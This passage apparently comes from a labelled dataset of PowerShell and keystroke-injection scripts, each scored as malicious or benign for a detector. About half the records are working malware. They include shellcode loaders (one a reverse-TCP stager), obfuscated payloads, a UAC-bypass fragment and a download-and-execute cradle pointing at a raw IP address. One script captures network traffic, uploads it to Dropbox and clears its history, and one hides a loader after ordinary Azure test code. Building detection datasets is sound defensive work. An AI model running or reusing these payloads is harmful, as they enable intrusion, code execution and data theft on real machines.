[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') enter $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, enter @('kernel32.dll'), enter [Reflection.FieldInfo[]]@($SetLastError), enter @($True)) enter $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile', enter 'kernel32.dll', enter ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), enter [Reflection.CallingConventions]::Standard, enter [Bool], enter [Type[]]@([String]), enter [Runtime.InteropServices.CallingConvention]::Winapi, enter [Runtime.InteropServices.CharSet]::Ansi) enter $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) enter enter $Kernel32 = $TypeBuilder.CreateType() enter enter $Result = $Kernel32::DeleteFile($ADSPath) enter enter if ($Result){ enter Write-Verbose ""Alternate Data Stream at $ADSPath successfully removed."" enter } enter else{ enter Write-Verbose ""Alternate Data Stream at $ADSPath removal failure!"" enter } enter } enter $OSVersion = [Environment]::OSVersion.Version enter if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))){ enter if(([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"") -eq $True){ enter Write-Warning ""[!] You are already elevated!"" enter } enter else { enter Invoke-WscriptElevate enter } enter }else{Write-Warning ""[!] Target Not Vulnerable""} enter } enter enter Set-Alias Invoke-WScriptUACBypass Invoke-WScriptBypassUAC enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xdd,0x68,0x19,0x6f,0xd9,0xcd,0xd9,0x74,0x24,0xf4,0x5f,0x2b,0xc9,0xb1,0x4b,0x31,0x57,0x15,0x03,0x57,0x15,0x83,0xc7,0x04,0xe2,0x28,0x94,0xf1,0xed,0xd2,0x65,0x02,0x92,0x5b,0x80,0x33,0x92,0x3f,0xc0,0x64,0x22,0x34,0x84,0x88,0xc9,0x18,0x3d,0x1a,0xbf,0xb4,0x32,0xab,0x0a,0xe2,0x7d,0x2c,0x26,0xd6,0x1c,0xae,0x35,0x0a,0xff,0x8f,0xf5,0x5f,0xfe,0xc8,0xe8,0xad,0x52,0x80,0x67,0x03,0x43,0xa5,0x32,0x9f,0xe8,0xf5,0xd3,0xa7,0x0d,0x4d,0xd5,0x86,0x83,0xc5,0x8c,0x08,0x25,0x09,0xa5,0x01,0x3d,0x4e,0x80,0xd8,0xb6,0xa4,0x7e,0xdb,0x1e,0xf5,0x7f,0x77,0x5f,0x39,0x72,0x86,0xa7,0xfe,0x6d,0xfd,0xd1,0xfc,0x10,0x05,0x26,0x7e,0xcf,0x80,0xbd,0xd8,0x84,0x32,0x1a,0xd8,0x49,0xa4,0xe9,0xd6,0x26,0xa3,0xb6,0xfa,0xb9,0x60,0xcd,0x07,0x31,0x87,0x02,0x8e,0x01,0xa3,0x86,0xca,0xd2,0xca,0x9f,0xb6,0xb5,0xf3,0xc0,0x18,0x69,0x51,0x8a,0xb5,0x7e,0xe8,0xd1,0xd1,0xb3,0xc0,0xe9,0x21,0xdc,0x53,0x99,0x13,0x43,0xcf,0x35,0x18,0x0c,0xc9,0xc2,0x5f,0x27,0xad,0x5d,0x9e,0xc8,0xcd,0x74,0x65,0x9c,0x9d,0xee,0x4c,0x9d,0x76,0xef,0x71,0x48,0xd8,0xbf,0xdd,0x23,0x98,0x6f,0x9e,0x93,0x70,0x7a,0x11,0xcb,0x60,0x85,0xfb,0x64,0x0a,0x7f,0x6c,0x4b,0x62,0x7e,0xa5,0x23,0x70,0x81,0x2a,0x2e,0xfd,0x67,0x3e,0x5e,0xab,0x30,0xd7,0xc7,0xf6,0xcb,0x46,0x07,0x2d,0xb6,0x49,0x83,0xc7,0x46,0x07,0x64,0xa2,0x54,0x70,0x4b,0x4c,0xa5,0x81,0xde,0x4c,0xcf,0x85,0x48,0x1b,0x67,0x84,0xad,0x6b,0x28,0x77,0x98,0xe8,0x2f,0x87,0x5d,0x07,0x44,0xbe,0xcb,0x97,0x33,0xbf,0x1b,0x17,0xc4,0xe9,0x71,0x17,0xac,0x4d,0x22,0x44,0xc9,0x91,0xff,0xf9,0x42,0x04,0x00,0xab,0x37,0x8f,0x68,0x51,0x61,0xe7,0x36,0xaa,0x44,0x7b,0x30,0x54,0x19,0xbf,0xc0,0x97,0xcc,0xf9,0xb6,0xfe,0xcc,0xbd,0xc9,0xb5,0x71,0x97,0x43,0xb5,0x26,0xe7,0x41;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.114247e-05,0.99994886
"win+r enter powershell enter enter enter function Add-SPONoteFieldtoList enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string] $listTitle, enter enter [Parameter(Mandatory=$true, Position=2)] enter [string] $fieldName enter ) enter enter $newField = ""<Field Type='Note' DisplayName='$fieldName' Name='$fieldName' required='FALSE' NumLines='6' RichText='FALSE' Sortable='FALSE' />"" enter Add-SPOField $listTitle $fieldName $newField enter } enter enter",0,0,0.9999149,8.509295e-05
"win+r enter powershell enter enter enter & ( $vErbOSEPrEfEReNCe.TosTrInG()[1,3]+'X'-jOiN'') ([sTRIng]::JoIN('', ('45}74R111}105}110%40Q39i49b48b57R82i49b48}55-98b49b48}57d77i49d48-49R44%49Q48~49d64O52b50}44}53-57d77Q49b48~57%44Q49}48%54R82O49R48}51%98d48}64R57d64R51-49d44}49-48%51i126Q49R48b54i77i49-48R48-103d57i57Q77d51d104}49O50R33~48}103R52-48}82R50R50b64d49R50Q54-126d57Q55}98}49R50O52}82Q49~50~52%82~57R55R104O49d50d55~98-49}54%77Q57%54~78%51i57d77b50~126-51-54~126}51%82%49d48}54O104}49R48~54-44}49R48}48d64}49Q48}57R82~49Q48-49R77Q49d48b49%64-49}48i49~82d49d48}49b77-49b49O49Q82%53}52O126b49}50-54}103Q52R56R103-53}52~77Q49}49Q54-104b52}56%78%53O52~126i49b50~52Q103-49Q50i49b82O52O56R103~53~52Q98d49O50i53%104-52R56Q98}53d52R98}49d50d52R104-49}50O54-78~52%56R78-53Q52}44i49d50R52~104}49-50b55i103i52i56-44Q53d52Q44i49~50d48R44b52O56i64%53-52~64%49i50i49b82Q52%56}44d53d52Q33%49Q50Q52%82O49~50d48}98Q52R56-126~53b52R77i49}50b51i98-52O56i104i53O52-82~49-49-55d77%52d56Q103~53%52R78O49~50d52d33d49Q50~52i64R52O56-126Q53~52b44}49}50b55}103}52O56~103b53%52Q78d49}50i52R64d52}56}44O53R52}78O49%50d52O103}49Q50i53}78%52~56Q98Q53Q52R104-49Q50}50d82Q52}56b33O49b49}49%44Q57d54%33}52-51Q78-49%48%54~33R52}48~77R53}56O33%57b54b78Q50}104-52O55b98i51}57d103~49-48}54-33-57~55O64R49b48b54}64d49%50O55~82b57d57i126d49Q50%52i64}49R50}48O78%49}50i55}98}57}57R77d49O48-54}44d57}55%64R49%48}54Q103-49d50d49-104b49O50O55-33~57O57R78-49~50d52}77i49i49R54-78R49R48i54b64b57b55Q78-49i48i54d33O54Q49b126i51Q52-126}53b56-98~52i48i77b54O51O44i54b50}126d51b55b104O52R48d82}51O51b33Q51-51%44R49R48}57R78~57R54i82d49~48R54b82R57i55%77}49b48~54i82~51}54R98%52i48}33-51R53i44Q53%55-44%49~48R48~33O57R57R82%57d33i51O52O44}53i56%98b49b48-54O103O57%55}64O49d48Q54-103O52}48Q126R52}55%98Q49-52}126~51O51%78d49Q48Q54O64b57O55i82b49O48~54-44O51b48i82-53~55~44~54~51O104d51%54i64}49R48-54i44-57%55R126Q49-48-54b103~52%52d98%53%52}98R49d50R52O82i52}56d44i49~48b48R98}53-52Q33b49d50%53d78b52d56%33-49d48Q54d64d57~55i103d49d48Q54d98Q51-53O82}52R50-82~49d48-49i98Q53~52~82~49~50~52R104O52%56-77b51~55R77}53~55~77i53%55d77i54O49d77~49O49}57Q77~49Q48O54R126d57-55b33-49}48%54d44-52%54}98O49-48}57Q126i49-48O54%103}57d55R78%49b48i54Q77d49~50-52-103%49Q49i55%44i49d50%55}33}49-49}57i64-49R49i55-82d49R49i54b98d49d49~55d33O49-49b54~104Q57O56}82i49Q48%54O103%57%55b82O49Q48%54~103Q57Q56-103i57~56}77d49}48~54O78d57b55-98b49~48i54-98b53R55b44O57%57~98%50}54b77-49d48Q54d104}57~55%104d49i48-54-126d52i48d64R52R54}77b53-55%33-49b48-57O78b51-104d52R48d103i49i48R54-78i57R55~64Q49~48O54b64i53~52b77R49~50~53O77i52b56b77i52Q44O56~126b50O49b64b49}48d49O44-51}64b49b48~54}103d57b55b126i49~48b54R77d51-53i82R51d51b64b51i52~98b52b52O64-52O49%44%49Q48i54Q78O49i48%48d82~49}48%48}64}49%48b57-64Q49i48i57~64d57~54i98Q49i49O82d49b48d57i78d50i50~44O52i54~78-53i77Q52Q52d64-51i49b44~49i54R98Q49R50-54b33d49~50d49%78~57i55}103O50Q50Q64i52O54i104Q53i126}52%52-98i51~49-44Q49-54i98Q49d50b54-33-49i49d54d98}49-48i48i64}49}48Q48}39%32b45b83~80Q76b73}116Q32d39R126-39-45}83}112%108b105}116%32R39O44O39Q45~83%80i108d73%84d39R64i39i45Q115i112}76}105%84b39O33R39d45%83~80O108b105~84i39-109Q39i45%83%112-108b73~84b39-98}39~45d83Q80i76~105%116i39i78O39}32O45R115d80R108~105R116~39O71-39%32i45}83i112~108~73%116R39d82Q39-45%83i112-76%73O84Q39-72b39~32R124b32O70O111%82~69}65}99}72~45b111O98}106O101R99b116Q32Q123b91i67O72O97b82Q93d32i40O32i36-95%45-66i88R111b82i32i39d48b120-52Q100%39}41R125}32b41~32b124O32b46%40b32R36O80%83d72%111~109~69i91d50-49d93-43Q36R80-83Q72~111O77Q101%91~51R52-93d43%39Q120b39Q41d13Q10'-sPlIT'O'-sPlIt 'i'-spLit'd' -SPlIt'-'-SplIt'%'-split'R' -sPlit'}' -splIT 'Q' -sPLIT'~' -SplIt'b'| fOREACH {([CHAr][INT] $_) })) ) enter enter",1,1,5.580834e-05,0.9999442
"win+r powershell enter for ($i = 0; $i -lt $args.count; $i++ ){$argument += $args[$i] + ' '} $psFile=$ enter PSCommandPath $MaximumVariableCount=32567 #Seed: 192 Total Vars: 14473 $ffa30=""e enter go7mzk844`$global:ProgressPreference = `""SilentlyContinue`""`n`n# -- thread varia enter bles`n`$script:threadBody = `'`$data=`$threadData;`'`n`$srj"" if ($ffa30 -match "" enter (?ms)^ego7mzk844(.+)srj$"") {$ffa30=$Matches[1]} else {$ffa30=""$^ego7mzk844(.+)sr enter j$""} foreach ($wc65fy in @(""6217485,40575049699363375,8214065555851716,667355951 enter 71361426(@`n(@ = atad"")) { $m7uudmuccz+=$wc65fy[-1..-$wc65fy.Length] -join '' } enter $lsscfw=""5167106420,54959097326818472,18155490401546482,61792098652180512,652301 enter 87563416165,18283808620706409,"" $fyz75vgf=""55049755904448048,20409040601135092,"" enter $smg4bgzp=($m7uudmuccz,$lsscfw,$fyz75vgf) -join '' $mk83hqmne3q=""gbqoy148817124 enter 902009204,44358311043823201,64527480453839471,52536072690480837,52766518cui33thj enter t"" enter",1,1,5.4536926e-05,0.9999454
"win+r powershell enter  function Test-CreateElasticPool { $location = Get-Location ""Microsoft.Sql"" enter ""operations"" ""Southeast Asia"" $rg = Create-ResourceGroupForTest $location $se enter rver = Create-ServerForTest $rg $location try { enter enter",1,1,0.0008650743,0.99913496
"win+r powershell enter unknown_key_action DEFINE SUDO_PASS example enter unknown_key_action DEFINE SNIFFING example enter unknown_key_action DEFINE TOKEN example enter unknown_key_action DEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload enter unknown_key_action DEFINE FILE example.pcap enter delay_medium enter unknown_key_action CTRL-ALT t enter delay_long enter sudo su enter enter enter delay_medium enter SUDO_PASS enter enter enter delay_medium enter FILE_PATH="" enter FILE enter "" enter enter enter delay_medium enter filter_expression="" enter SNIFFING enter "" enter enter enter delay_medium enter net_card=""$(ip route get 8.8.8.8 | awk '{ print $5; exit }')"" enter enter enter delay_medium enter tcpdump -i ""$net_card"" $filter_expression -w ""$FILE_PATH"" & enter enter enter delay_medium enter tcpdump_pid=$! enter enter enter delay_long enter kill $tcpdump_pid enter enter enter ACCESS_TOKEN="" enter TOKEN enter "" enter enter enter delay_medium enter DROPBOX_FOLDER=""/Exfiltration"" enter enter enter delay_medium enter curl -X POST enter DROPBOX_API_CONST enter --header ""Authorization: Bearer $ACCESS_TOKEN"" --header ""Dropbox-API-Arg: {\""path\"": \""$DROPBOX_FOLDER\"",\""mode\"": \""add\"",\""autorename\"": true,\""mute\"": false}"" --header ""Content-Type: application/octet-stream"" --data-binary ""@$FILE_PATH"" enter enter enter rm ""$FILE_PATH"" enter enter enter delay_medium enter history -c enter enter enter delay_medium enter exit enter enter enter delay_medium enter exit enter enter enter",1,1,5.551883e-05,0.99994445
"win+r enter powershell enter enter enter $ApplicationPackagePath = ""C:\Users\sfuser\documents\visual studio 2017\Projects\Voting\Voting\pkg\Debug"" enter $ApplicationName = ""fabric:/Voting"" enter $ApplicationTypeName = ""VotingType"" enter $ApplicationTypeVersion = ""1.3.0"" enter $imageStoreConnectionString = ""fabric:ImageStore"" enter $CopyPackageTimeoutSec = 600 enter $CompressPackage = $false enter $oldApplication = Get-ServiceFabricApplication -ApplicationName $ApplicationName enter enter if (!$oldApplication) enter { enter $errMsg = ""Application '$ApplicationName' doesn't exist in cluster."" enter throw $errMsg enter } enter else enter { enter enter $upgradeStatus = Get-ServiceFabricApplicationUpgrade -ApplicationName $ApplicationName enter if ($upgradeStatus.UpgradeState -ne ""RollingBackCompleted"" -and $upgradeStatus.UpgradeState -ne ""RollingForwardCompleted"" -and $upgradeStatus.UpgradeState -ne ""Failed"") enter { enter $errMsg = ""An upgrade for the application '$ApplicationTypeName' is already in progress."" enter throw $errMsg enter } enter enter $reg = Get-ServiceFabricApplicationType -ApplicationTypeName $ApplicationTypeName | Where-Object { $_.ApplicationTypeVersion -eq $ApplicationTypeVersion } enter if ($reg) enter { enter Write-Host 'Application Type '$ApplicationTypeName' and Version '$ApplicationTypeVersion' was already registered with Cluster, unregistering it...' enter $reg | Unregister-ServiceFabricApplicationType -Force enter } enter $applicationPackagePathInImageStore = $ApplicationTypeName enter Write-Host ""Copying application package to image store..."" enter Copy-ServiceFabricApplicationPackage -ApplicationPackagePath $ApplicationPackagePath -ImageStoreConnectionString $imageStoreConnectionString -ApplicationPackagePathInImageStore $applicationPackagePathInImageStore -TimeOutSec $CopyPackageTimeoutSec -CompressPackage:$CompressPackage enter if(!$?) enter { enter throw ""Copying of application package to image store failed. Cannot continue with registering the application."" enter } enter Write-Host ""Registering application type..."" enter Register-ServiceFabricApplicationType -ApplicationPathInImageStore $applicationPackagePathInImageStore enter if(!$?) enter { enter throw ""Registration of application type failed."" enter } enter Remove-ServiceFabricApplicationPackage -ImageStoreConnectionString $imageStoreConnectionString -ApplicationPackagePathInImageStore $applicationPackagePathInImageStore enter if(!$?) enter { enter Write-Host ""Removing the application package failed."" enter } enter try enter { enter Write-Host ""Start upgrading application..."" enter Start-ServiceFabricApplicationUpgrade -ApplicationName $ApplicationName -ApplicationTypeVersion $ApplicationTypeVersion -HealthCheckStableDurationSec 60 -UpgradeDomainTimeoutSec 1200 -UpgradeTimeout 3000 -FailureAction Rollback -Monitored enter } enter catch enter { enter Write-Host (""Error starting upgrade. "" + $_) enter enter Write-Host ""Unregister application type '$ApplicationTypeName' and version '$ApplicationTypeVersion' ..."" enter Unregister-ServiceFabricApplicationType -ApplicationTypeName $ApplicationTypeName -ApplicationTypeVersion $ApplicationTypeVersion -Force enter throw enter } enter enter do enter { enter Write-Host ""Waiting for upgrade..."" enter Start-Sleep -Seconds 3 enter $upgradeStatus = Get-ServiceFabricApplicationUpgrade -ApplicationName $ApplicationName enter } while ($upgradeStatus.UpgradeState -ne ""RollingBackCompleted"" -and $upgradeStatus.UpgradeState -ne ""RollingForwardCompleted"" -and $upgradeStatus.UpgradeState -ne ""Failed"") enter enter if($upgradeStatus.UpgradeState -eq ""RollingForwardCompleted"") enter { enter Write-Host ""Upgrade completed successfully."" enter } enter elseif($upgradeStatus.UpgradeState -eq ""RollingBackCompleted"") enter { enter Write-Error ""Upgrade was Rolled back."" enter } enter elseif($upgradeStatus.UpgradeState -eq ""Failed"") enter { enter Write-Error ""Upgrade Failed."" enter } enter } enter enter",0,0,0.9998995,0.000100467194
"win+r powershell enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\Wind enter owsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStar enter tInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStre enter am(,[Convert]::FromBase64String(''H4sIAJrcOFgCA71WbW/aSBD+3Er9D1aFZFslGBLSpJEq3d enter rG4AAJxMEEOFRt7LW9ZPESe81br//9xrwk5Jr2ev1wViJ2PTO7zz7zzI6DLPYE5bE0WTdsk345e/wofX enter 339k0HJ3gqKYXYOV0M42UWFaXC5Ky8ovzx3pnXmuqbN+BVeLw0+bDPToeXflP6LCkjNJuZfIppPL64ML enter IkIbHYzkt1IlCakuk9oyRVVOkvqR+RhBxd30+IJ6SvUuFLqc74PWY7t5WBvYhIRyj2c1uLezhHWnJmjA enter pF/vNPWR0dVcal2mOGWarIzioVZFryGZNV6Zuab3i7mhFFblMv4SkPRKlP45PjUi9OcUCuYLU5aRMRcT enter +VVTgN/CVEZEksvThXvtDWTZFh2Em4h3w/ISlElex4zh8I8JQxVpT+UEY7FDdZLOiUgF2QhM8cksypR9 enter JSA8c+IzckGCtXZLE//K8GKYdB4NURiVqELP0Ebpv7GSPbFWT1e8DPGVbh+WeWgZZv796+exvsZTIv19 enter 1DgcDozWgzJoBZ6fCUbvw+S+Wi1IZdseDJCqaF2yQj6lga5TkZjcdSgUzOiz8Or+x9wRMvudVvkWhRsb enter 6AaeRy6o8hdJe0gtfPmi enter",1,1,6.117331e-05,0.99993885
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_lqu3d0jd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.40528e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x64,0x68,0x02,0x00,0x30,0x39,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_prh0r1fy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4007204e-05
"win+r powershell enter [SYStEm.NET.SeRVICePOINTManAgEr]::EXPect100CONtInue = 0;$wc=NEw-ObJecT SYsteM.NE enter t.WEbClienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like G enter ecko';$wC.HEaDerS.AdD('User-Agent',$u);$Wc.PRoXy = [SYsTEM.NeT.WEbREQueST]::Defa enter ULTWEbPRoXy;$wC.PRoxy.CREdentialS = [SYsTEm.NET.CREdEntIaLCAcHe]::DeFAUlTNeTWork enter CrEDeNTIALS;$K='63a9f0ea7bb98050796b649e85481845';$i=0;[CHAR[]]$b=([cHAR[]]($wC. enter DoWNloadStrInG(""http://138.121.170.12:3136/index.asp"")))|%{$_-BXOr$k[$i++%$k.LEn enter gtH]};IEX ($B-JoIn'') enter",1,1,5.564466e-05,0.9999443
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_m9o2herz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_200.json"") -Encoding UTF8 enter",0,0,0.9999666,3.3384087e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_nqeyatyk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4225053e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_nvnq65qd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 3."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.452734e-05
"win+r enter powershell enter enter enter  enter function Test-GetVirtualCluster enter { enter enter $location = Get-ProviderLocation ""Microsoft.Sql/virtualclusters"" enter $rg = Create-ResourceGroupForTest $location enter enter $rgName = $rg.ResourceGroupName enter $vnetName = ""cl_initial"" enter $subnetName = ""Cool"" enter $virtualNetwork = CreateAndGetVirtualNetworkForManagedInstance $vnetName $subnetName $location $rgName enter $subnetId = $virtualNetwork.Subnets.where({ $_.Name -eq $subnetName })[0].Id enter enter $managedInstance = Create-ManagedInstanceForTest $rg $subnetId enter enter try enter { enter enter $virtualClusterList = Get-AzSqlVirtualCluster enter $virtualCluster = $virtualClusterList.where({$_.SubnetId -eq $subnetId}) enter Assert-AreEqual $rgName $virtualCluster.ResourceGroupName enter $virtualClusterName = $virtualCluster.VirtualClusterName enter enter $virtualClusterList = Get-AzSqlVirtualCluster -ResourceGroupName $rgName enter $virtualCluster = $virtualClusterList.where({$_.SubnetId -eq $subnetId}) enter Assert-AreEqual $rgName $virtualCluster.ResourceGroupName enter Assert-AreEqual $virtualClusterName $virtualCluster.VirtualClusterName enter enter $virtualCluster = Get-AzSqlVirtualCluster -ResourceGroupName $rgName -Name $virtualClusterName enter Assert-AreEqual $rgName $virtualCluster.ResourceGroupName enter Assert-AreEqual $virtualClusterName $virtualCluster.VirtualClusterName enter Assert-AreEqual $subnetId $virtualCluster.SubnetId enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter function Test-RemoveVirtualCluster enter { enter enter $location = Get-ProviderLocation ""Microsoft.Sql/virtualclusters"" enter $rg = Create-ResourceGroupForTest $location enter enter $rgName = $rg.ResourceGroupName enter $vnetName = ""cl_initial"" enter $subnetName = ""Cool"" enter $virtualNetwork = CreateAndGetVirtualNetworkForManagedInstance $vnetName $subnetName $location $rgName enter $subnetId = $virtualNetwork.Subnets.where({ $_.Name -eq $subnetName })[0].Id enter enter $managedInstance = Create-ManagedInstanceForTest $rg $subnetId enter enter try enter { enter $virtualClusterList = Get-AzSqlVirtualCluster -ResourceGroupName $rgName enter $virtualCluster = $virtualClusterList.where({$_.SubnetId -eq $subnetId}) enter $virtualClusterName = $virtualCluster.VirtualClusterName enter $managedInstance | Remove-AzSqlInstance -Force enter $virtualCluster | Remove-AzSqlVirtualCluster enter enter $all = Get-AzSqlVirtualCluster -ResourceGroupName $rgName enter $virtualCluster = $all.where({$_.VirtualClusterName -eq $virtualClusterName}) enter Assert-AreEqual $virtualCluster.Count 0 enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter enter $PxP = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr 